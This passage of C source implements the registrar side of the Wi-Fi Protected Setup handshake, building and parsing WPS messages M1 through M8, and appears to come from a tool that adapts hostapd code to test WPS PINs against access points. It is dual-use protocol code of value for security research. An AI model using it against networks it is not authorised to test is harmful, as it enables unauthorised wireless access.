hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash1", hash, SHA256_MAC_LEN); wpa_printf(MSG_DEBUG, "WPS: * R-Hash2"); wpabuf_put_be16(msg, ATTR_R_HASH2); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* R-Hash2 = HMAC_AuthKey(R-S2 || PSK2 || PK_E || PK_R) */ addr[0] = wps->snonce + WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash2", hash, SHA256_MAC_LEN); return 0; } static int wps_build_r_snonce1(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * R-SNonce1"); wpabuf_put_be16(msg, ATTR_R_SNONCE1); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce, WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_r_snonce2(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * R-SNonce2"); wpabuf_put_be16(msg, ATTR_R_SNONCE2); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_cred_network_idx(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Network Index"); wpabuf_put_be16(msg, ATTR_NETWORK_INDEX); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); return 0; } static int wps_build_cred_ssid(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * SSID"); wpabuf_put_be16(msg, ATTR_SSID); wpabuf_put_be16(msg, cred->ssid_len); wpabuf_put_data(msg, cred->ssid, cred->ssid_len); return 0; } static int wps_build_cred_auth_type(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type (0x%x)", cred->auth_type); wpabuf_put_be16(msg, ATTR_AUTH_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, cred->auth_type); return 0; } static int wps_build_cred_encr_type(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type (0x%x)", cred->encr_type); wpabuf_put_be16(msg, ATTR_ENCR_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, cred->encr_type); return 0; } static int wps_build_cred_network_key(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Network Key (len=%d)", (int) cred->key_len); wpabuf_put_be16(msg, ATTR_NETWORK_KEY); wpabuf_put_be16(msg, cred->key_len); wpabuf_put_data(msg, cred->key, cred->key_len); return 0; } static int wps_build_cred_mac_addr(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address (" MACSTR ")", MAC2STR(cred->mac_addr)); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, cred->mac_addr, ETH_ALEN); return 0; } static int wps_build_credential(struct wpabuf *msg, const struct wps_credential *cred) { if (wps_build_cred_network_idx(msg, cred) || wps_build_cred_ssid(msg, cred) || wps_build_cred_auth_type(msg, cred) || wps_build_cred_encr_type(msg, cred) || wps_build_cred_network_key(msg, cred) || wps_build_cred_mac_addr(msg, cred)) return -1; return 0; } int wps_build_cred(struct wps_data *wps, struct wpabuf *msg) { struct wpabuf *cred; if (wps->wps->registrar->skip_cred_build) goto skip_cred_build; wpa_printf(MSG_DEBUG, "WPS: * Credential"); if (wps->use_cred) { os_memcpy(&wps->cred, wps->use_cred, sizeof(wps->cred)); goto use_provided; } os_memset(&wps->cred, 0, sizeof(wps->cred)); os_memcpy(wps->cred.ssid, wps->wps->ssid, wps->wps->ssid_len); wps->cred.ssid_len = wps->wps->ssid_len; /* Select the best authentication and encryption type */ if (wps->auth_type & WPS_AUTH_WPA2PSK) wps->auth_type = WPS_AUTH_WPA2PSK; else if (wps->auth_type & WPS_AUTH_WPAPSK) wps->auth_type = WPS_AUTH_WPAPSK; else if (wps->auth_type & WPS_AUTH_OPEN) wps->auth_type = WPS_AUTH_OPEN; else if (wps->auth_type & WPS_AUTH_SHARED) wps->auth_type = WPS_AUTH_SHARED; else { wpa_printf(MSG_DEBUG, "WPS: Unsupported auth_type 0x%x", wps->auth_type); return -1; } wps->cred.auth_type = wps->auth_type; if (wps->auth_type == WPS_AUTH_WPA2PSK || wps->auth_type == WPS_AUTH_WPAPSK) { if (wps->encr_type & WPS_ENCR_AES) wps->encr_type = WPS_ENCR_AES; else if (wps->encr_type & WPS_ENCR_TKIP) wps->encr_type = WPS_ENCR_TKIP; else { wpa_printf(MSG_DEBUG, "WPS: No suitable encryption " "type for WPA/WPA2"); return -1; } } else { if (wps->encr_type & WPS_ENCR_WEP) wps->encr_type = WPS_ENCR_WEP; else if (wps->encr_type & WPS_ENCR_NONE) wps->encr_type = WPS_ENCR_NONE; else { wpa_printf(MSG_DEBUG, "WPS: No suitable encryption " "type for non-WPA/WPA2 mode"); return -1; } } wps->cred.encr_type = wps->encr_type; /* * Set MAC address in the Credential to be the Enrollee's MAC address */ os_memcpy(wps->cred.mac_addr, wps->mac_addr_e, ETH_ALEN); if (wps->wps->wps_state == WPS_STATE_NOT_CONFIGURED && wps->wps->ap && !wps->wps->registrar->disable_auto_conf) { u8 r[16]; /* Generate a random passphrase */ if (os_get_random(r, sizeof(r)) < 0) return -1; os_free(wps->new_psk); wps->new_psk = base64_encode(r, sizeof(r), &wps->new_psk_len); if (wps->new_psk == NULL) return -1; wps->new_psk_len--; /* remove newline */ while (wps->new_psk_len && wps->new_psk[wps->new_psk_len - 1] == '=') wps->new_psk_len--; wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Generated passphrase", wps->new_psk, wps->new_psk_len); os_memcpy(wps->cred.key, wps->new_psk, wps->new_psk_len); wps->cred.key_len = wps->new_psk_len; } else if (wps->use_psk_key && wps->wps->psk_set) { char hex[65]; wpa_printf(MSG_DEBUG, "WPS: Use PSK format for Network Key"); wpa_snprintf_hex(hex, sizeof(hex), wps->wps->psk, 32); os_memcpy(wps->cred.key, hex, 32 * 2); wps->cred.key_len = 32 * 2; } else if (wps->wps->network_key) { os_memcpy(wps->cred.key, wps->wps->network_key, wps->wps->network_key_len); wps->cred.key_len = wps->wps->network_key_len; } else if (wps->auth_type & (WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK)) { char hex[65]; /* Generate a random per-device PSK */ os_free(wps->new_psk); wps->new_psk_len = 32; wps->new_psk = os_malloc(wps->new_psk_len); if (wps->new_psk == NULL) return -1; if (os_get_random(wps->new_psk, wps->new_psk_len) < 0) { os_free(wps->new_psk); wps->new_psk = NULL; return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: Generated per-device PSK", wps->new_psk, wps->new_psk_len); wpa_snprintf_hex(hex, sizeof(hex), wps->new_psk, wps->new_psk_len); os_memcpy(wps->cred.key, hex, wps->new_psk_len * 2); wps->cred.key_len = wps->new_psk_len * 2; } use_provided: cred = wpabuf_alloc(200); if (cred == NULL) return -1; if (wps_build_credential(cred, &wps->cred)) { wpabuf_free(cred); return -1; } wpabuf_put_be16(msg, ATTR_CRED); wpabuf_put_be16(msg, wpabuf_len(cred)); wpabuf_put_buf(msg, cred); wpabuf_free(cred); skip_cred_build: if (wps->wps->registrar->extra_cred) { wpa_printf(MSG_DEBUG, "WPS: * Credential (pre-configured)"); wpabuf_put_buf(msg, wps->wps->registrar->extra_cred); } return 0; } static int wps_build_ap_settings(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * AP Settings"); if (wps_build_credential(msg, &wps->cred)) return -1; return 0; } static struct wpabuf * wps_build_m2(struct wps_data *wps) { struct wpabuf *msg; if (os_get_random(wps->nonce_r, WPS_NONCE_LEN) < 0) return NULL; wpa_hexdump(MSG_DEBUG, "WPS: Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-R", wps->uuid_r, WPS_UUID_LEN); wpa_printf(MSG_DEBUG, "WPS: Building Message M2"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M2) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_uuid_r(wps, msg) || wps_build_public_key(wps, msg) || wps_derive_keys(wps) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods_r(wps->wps->registrar, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_config_error(msg, WPS_CFG_NO_ERROR) || wps_build_dev_password_id(msg, wps->dev_pw_id) || wps_build_os_version(&wps->wps->dev, msg) || wps_build_authenticator(wps, msg)) { wpabuf_free(msg); return NULL; } wps->int_reg = 1; wps->state = RECV_M3; return msg; } static struct wpabuf * wps_build_m2d(struct wps_data *wps) { struct wpabuf *msg; u16 err = wps->config_error; wpa_printf(MSG_DEBUG, "WPS: Building Message M2D"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps->wps->ap && wps->wps->ap_setup_locked && err == WPS_CFG_NO_ERROR) err = WPS_CFG_SETUP_LOCKED; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M2D) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_uuid_r(wps, msg) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods_r(wps->wps->registrar, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_config_error(msg, err) || wps_build_os_version(&wps->wps->dev, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M2D_ACK; return msg; } static struct wpabuf * wps_build_m4(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M4"); wpa_printf(MSG_DEBUG, "WPS: Dev Password Len: %d", wps->dev_password_len); wpa_printf(MSG_DEBUG, "WPS: Dev Password: %s", wps->dev_password); wps_derive_psk(wps, wps->dev_password, wps->dev_password_len); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } wpa_printf(MSG_DEBUG, "Allocs OK, building M4 packet"); if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M4) || wps_build_enrollee_nonce(wps, msg) || wps_build_r_hash(wps, msg) || wps_build_r_snonce1(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_M5; return msg; } static struct wpabuf * wps_build_m6(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M6"); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M6) || wps_build_enrollee_nonce(wps, msg) || wps_build_r_snonce2(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->wps_pin_revealed = 1; wps->state = RECV_M7; return msg; } static struct wpabuf * wps_build_m8(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M8"); plain = wpabuf_alloc(500); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M8) || wps_build_enrollee_nonce(wps, msg) || ((wps->wps->ap || wps->er) && wps_build_cred(wps, plain)) || (!wps->wps->ap && !wps->er && wps_build_ap_settings(wps, plain)) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_DONE; return msg; } static struct wpabuf * wps_build_wsc_ack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_ACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_ACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } return msg; } static struct wpabuf * wps_build_wsc_nack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_NACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_NACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_config_error(msg, wps->config_error)) { wpabuf_free(msg); return NULL; } return msg; } struct wpabuf * wps_registrar_get_msg(struct wps_data *wps, enum wsc_op_code *op_code, int type) { struct wpabuf *msg = NULL; if(wps->wps->registrar != NULL) { switch (type) { case SEND_M2: if(wps_get_dev_password(wps) >= 0) { msg = wps_build_m2(wps); cprintf(VERBOSE, "[+] Sending M2 message\n"); *op_code = WSC_MSG; break; } /* Fall through */ case SEND_WSC_NACK: msg = wps_build_wsc_nack(wps); cprintf(VERBOSE, "[+] Sending WSC NACK\n"); *op_code = WSC_NACK; break; case SEND_M4: msg = wps_build_m4(wps); cprintf(VERBOSE, "[+] Sending M4 message\n"); *op_code = WSC_MSG; break; case SEND_M6: msg = wps_build_m6(wps); cprintf(VERBOSE, "[+] Sending M6 message\n"); *op_code = WSC_MSG; break; case SEND_M8: msg = wps_build_m8(wps); cprintf(VERBOSE, "[+] Sending M8 message\n"); *op_code = WSC_MSG; break; case RECV_DONE: msg = wps_build_wsc_ack(wps); cprintf(VERBOSE, "[+] Sending WSC ACK\n"); *op_code = WSC_ACK; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported state %d for building " "a message", wps->state); msg = NULL; break; } } if (*op_code == WSC_MSG && msg) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return msg; } static int wps_process_enrollee_nonce(struct wps_data *wps, const u8 *e_nonce) { if (e_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Enrollee Nonce received"); return -1; } os_memcpy(wps->nonce_e, e_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); return 0; } static int wps_process_registrar_nonce(struct wps_data *wps, const u8 *r_nonce) { if (r_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Registrar Nonce received"); return -1; } if (os_memcmp(wps->nonce_r, r_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid Registrar Nonce received"); return -1; } return 0; } static int wps_process_uuid_e(struct wps_data *wps, const u8 *uuid_e) { if (uuid_e == NULL) { wpa_printf(MSG_DEBUG, "WPS: No UUID-E received"); return -1; } os_memcpy(wps->uuid_e, uuid_e, WPS_UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-E", wps->uuid_e, WPS_UUID_LEN); return 0; } static int wps_process_dev_password_id(struct wps_data *wps, const u8 *pw_id) { if (pw_id == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password ID received"); return -1; } wps->dev_pw_id = WPA_GET_BE16(pw_id); wpa_printf(MSG_DEBUG, "WPS: Device Password ID %d", wps->dev_pw_id); return 0; } static int wps_process_e_hash1(struct wps_data *wps, const u8 *e_hash1) { if (e_hash1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-Hash1 received"); return -1; } os_memcpy(wps->peer_hash1, e_hash1, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash1", wps->peer_hash1, WPS_HASH_LEN); return 0; } static int wps_process_e_hash2(struct wps_data *wps, const u8 *e_hash2) { if (e_hash2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-Hash2 received"); return -1; } os_memcpy(wps->peer_hash2, e_hash2, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", wps->peer_hash2, WPS_HASH_LEN); return 0; } static int wps_process_e_snonce1(struct wps_data *wps, const u8 *e_snonce1) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (e_snonce1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-SNonce1 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: E-SNonce1", e_snonce1, WPS_SECRET_NONCE_LEN); /* E-Hash1 = HMAC_AuthKey(E-S1 || PSK1 || PK_E || PK_R) */ addr[0] = e_snonce1; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash1, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: E-Hash1 derived from E-S1 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 0, 1); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee proved knowledge of the first " "half of the device password"); return 0; } static int wps_process_e_snonce2(struct wps_data *wps, const u8 *e_snonce2) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (e_snonce2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-SNonce2 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: E-SNonce2", e_snonce2, WPS_SECRET_NONCE_LEN); /* E-Hash2 = HMAC_AuthKey(E-S2 || PSK2 || PK_E || PK_R) */ addr[0] = e_snonce2; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash2, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: E-Hash2 derived from E-S2 does " "not match with the pre-committed value"); wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 0, 2); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee proved knowledge of the second " "half of the device password"); wps->wps_pin_revealed = 0; wps_registrar_unlock_pin(wps->wps->registrar, wps->uuid_e); return 0; } static int wps_process_mac_addr(struct wps_data *wps, const u8 *mac_addr) { if (mac_addr == NULL) { wpa_printf(MSG_DEBUG, "WPS: No MAC Address received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee MAC Address " MACSTR, MAC2STR(mac_addr)); os_memcpy(wps->mac_addr_e, mac_addr, ETH_ALEN); os_memcpy(wps->peer_dev.mac_addr, mac_addr, ETH_ALEN); return 0; } static int wps_process_pubkey(struct wps_data *wps, const u8 *pk, size_t pk_len) { if (pk == NULL || pk_len == 0) { wpa_printf(MSG_DEBUG, "WPS: No Public Key received"); return -1; } #ifdef CONFIG_WPS_OOB if (wps->wps->oob_conf.pubkey_hash != NULL) { const u8 *addr[1]; u8 hash[WPS_HASH_LEN]; addr[0] = pk; sha256_vector(1, addr, &pk_len, hash); if (os_memcmp(hash, wpabuf_head(wps->wps->oob_conf.pubkey_hash), WPS_OOB_PUBKEY_HASH_LEN) != 0) { wpa_printf(MSG_ERROR, "WPS: Public Key hash error"); return -1; } } #endif /* CONFIG_WPS_OOB */ wpabuf_free(wps->dh_pubkey_e); wps->dh_pubkey_e = wpabuf_alloc_copy(pk, pk_len); if (wps->dh_pubkey_e == NULL) return -1; return 0; } static int wps_process_auth_type_flags(struct wps_data *wps, const u8 *auth) { u16 auth_types; if (auth == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Authentication Type flags " "received"); return -1; } auth_types = WPA_GET_BE16(auth); wpa_printf(MSG_DEBUG, "WPS: Enrollee Authentication Type flags 0x%x", auth_types); wps->auth_type = wps->wps->auth_types & auth_types; if (wps->auth_type == 0) { wpa_printf(MSG_DEBUG, "WPS: No match in supported " "authentication types (own 0x%x Enrollee 0x%x)", wps->wps->auth_types, auth_types); #ifdef WPS_WORKAROUNDS /* * Some deployed implementations seem to advertise incorrect * information in this attribute. For example, Linksys WRT350N * seems to have a byteorder bug that breaks this negotiation. * In order to interoperate with existing implementations, * assume that the Enrollee supports everything we do. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - assume Enrollee " "does not advertise supported authentication types " "correctly"); wps->auth_type = wps->wps->auth_types; #else /* WPS_WORKAROUNDS */ return -1; #endif /* WPS_WORKAROUNDS */ } return 0; } static int wps_process_encr_type_flags(struct wps_data *wps, const u8 *encr) { u16 encr_types; if (encr == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Encryption Type flags " "received"); return -1; } encr_types = WPA_GET_BE16(encr); wpa_printf(MSG_DEBUG, "WPS: Enrollee Encryption Type flags 0x%x", encr_types); wps->encr_type = wps->wps->encr_types & encr_types; if (wps->encr_type == 0) { wpa_printf(MSG_DEBUG, "WPS: No match in supported " "encryption types (own 0x%x Enrollee 0x%x)", wps->wps->encr_types, encr_types); #ifdef WPS_WORKAROUNDS /* * Some deployed implementations seem to advertise incorrect * information in this attribute. For example, Linksys WRT350N * seems to have a byteorder bug that breaks this negotiation. * In order to interoperate with existing implementations, * assume that the Enrollee supports everything we do. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - assume Enrollee " "does not advertise supported encryption types " "correctly"); wps->encr_type = wps->wps->encr_types; #else /* WPS_WORKAROUNDS */ return -1; #endif /* WPS_WORKAROUNDS */ } return 0; } static int wps_process_conn_type_flags(struct wps_data *wps, const u8 *conn) { if (conn == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Connection Type flags " "received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee Connection Type flags 0x%x", *conn); return 0; } static int wps_process_config_methods(struct wps_data *wps, const u8 *methods) { u16 m; if (methods == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Config Methods received"); return -1; } m = WPA_GET_BE16(methods); wpa_printf(MSG_DEBUG, "WPS: Enrollee Config Methods 0x%x" "%s%s%s%s%s%s%s%s%s", m, m & WPS_CONFIG_USBA ? " [USBA]" : "", m & WPS_CONFIG_ETHERNET ? " [Ethernet]" : "", m & WPS_CONFIG_LABEL ? " [Label]" : "", m & WPS_CONFIG_DISPLAY ? " [Display]" : "", m & WPS_CONFIG_EXT_NFC_TOKEN ? " [Ext NFC Token]" : "", m & WPS_CONFIG_INT_NFC_TOKEN ? " [Int NFC Token]" : "", m & WPS_CONFIG_NFC_INTERFACE ? " [NFC]" : "", m & WPS_CONFIG_PUSHBUTTON ? " [PBC]" : "", m & WPS_CONFIG_KEYPAD ? " [Keypad]" : ""); if (!(m & WPS_CONFIG_DISPLAY) && !wps->use_psk_key) { /* * The Enrollee does not have a display so it is unlikely to be * able to show the passphrase to a user and as such, could * benefit from receiving PSK to reduce key derivation time. */ wpa_printf(MSG_DEBUG, "WPS: Prefer PSK format key due to " "Enrollee not supporting display"); wps->use_psk_key = 1; } return 0; } static int wps_process_wps_state(struct wps_data *wps, const u8 *state) { if (state == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Wi-Fi Protected Setup State " "received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee Wi-Fi Protected Setup State %d", *state); return 0; } static int wps_process_assoc_state(struct wps_data *wps, const u8 *assoc) { u16 a; if (assoc == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Association State received"); return -1; } a = WPA_GET_BE16(assoc); wpa_printf(MSG_DEBUG, "WPS: Enrollee Association State %d", a); return 0; } static int wps_process_config_error(struct wps_data *wps, const u8 *err) { u16 e; if (err == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error received"); return -1; } e = WPA_GET_BE16(err); wpa_printf(MSG_DEBUG, "WPS: Enrollee Configuration Error %d", e); return 0; } static enum wps_process_res wps_process_m1(struct wps_data *wps, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M1"); if (wps->state != RECV_M1) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M1", wps->state); return WPS_FAILURE; } if (wps_process_uuid_e(wps, attr->uuid_e) || wps_process_mac_addr(wps, attr->mac_addr) || wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_pubkey(wps, attr->public_key, attr->public_key_len) || wps_process_auth_type_flags(wps, attr->auth_type_flags) || wps_process_encr_type_flags(wps, attr->encr_type_flags) || wps_process_conn_type_flags(wps, attr->conn_type_flags) || wps_process_config_methods(wps, attr->config_methods) || wps_process_wps_state(wps, attr->wps_state) || wps_process_device_attrs(&wps->peer_dev, attr) || wps_process_rf_bands(&wps->peer_dev, attr->rf_bands) || wps_process_assoc_state(wps, attr->assoc_state) || wps_process_dev_password_id(wps, attr->dev_password_id) || wps_process_config_error(wps, attr->config_error) || wps_process_os_version(&wps->peer_dev, attr->os_version)) return WPS_FAILURE; wpa_printf(MSG_DEBUG, "WPS: M1 Processed"); if (wps->dev_pw_id < 0x10 && wps->dev_pw_id != DEV_PW_DEFAULT && wps->dev_pw_id != DEV_PW_USER_SPECIFIED && wps->dev_pw_id != DEV_PW_MACHINE_SPECIFIED && wps->dev_pw_id != DEV_PW_REGISTRAR_SPECIFIED && (wps->dev_pw_id != DEV_PW_PUSHBUTTON || !wps->wps->registrar->pbc)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported Device Password ID %d", wps->dev_pw_id); wps->state = SEND_M2D; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: dev_pw_id checked"); #ifdef CONFIG_WPS_OOB if (wps->dev_pw_id >= 0x10 && wps->dev_pw_id != wps->wps->oob_dev_pw_id) { wpa_printf(MSG_DEBUG, "WPS: OOB Device Password ID " "%d mismatch", wps->dev_pw_id); wps->state = SEND_M2D; return WPS_CONTINUE; } #endif /* CONFIG_WPS_OOB */ if (wps->dev_pw_id == DEV_PW_PUSHBUTTON) { if (wps->wps->registrar->force_pbc_overlap || wps_registrar_pbc_overlap(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e)) { wpa_printf(MSG_DEBUG, "WPS: PBC overlap - deny PBC " "negotiation"); wps->state = SEND_M2D; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; wps_pbc_overlap_event(wps->wps); wps->wps->registrar->force_pbc_overlap = 1; return WPS_CONTINUE; } wps_registrar_add_pbc_session(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); wps->pbc = 1; } wpa_printf(MSG_DEBUG, "WPS: PBC Checked"); #ifdef WPS_WORKAROUNDS /* * It looks like Mac OS X 10.6.3 and 10.6.4 do not like Network Key in * passphrase format. To avoid interop issues, force PSK format to be * used. */ if (!wps->use_psk_key && wps->peer_dev.manufacturer && os_strncmp(wps->peer_dev.manufacturer, "Apple ", 6) == 0 && wps->peer_dev.model_name && os_strcmp(wps->peer_dev.model_name, "AirPort") == 0) { wpa_printf(MSG_DEBUG, "WPS: Workaround - Force Network Key in " "PSK format"); wps->use_psk_key = 1; } #endif /* WPS_WORKAROUNDS */ wpa_printf(MSG_DEBUG, "WPS: Entering State SEND_M2"); wps->state = SEND_M2; return WPS_CONTINUE; } static enum wps_process_res wps_process_m3(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M3"); if (wps->state != RECV_M3) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M3", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_e_hash1(wps, attr->e_hash1) || wps_process_e_hash2(wps, attr->e_hash2)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wps->state = SEND_M4; return WPS_CONTINUE; } static enum wps_process_res wps_process_m5(struct wps_data *wps, const struct wpabuf *msg, 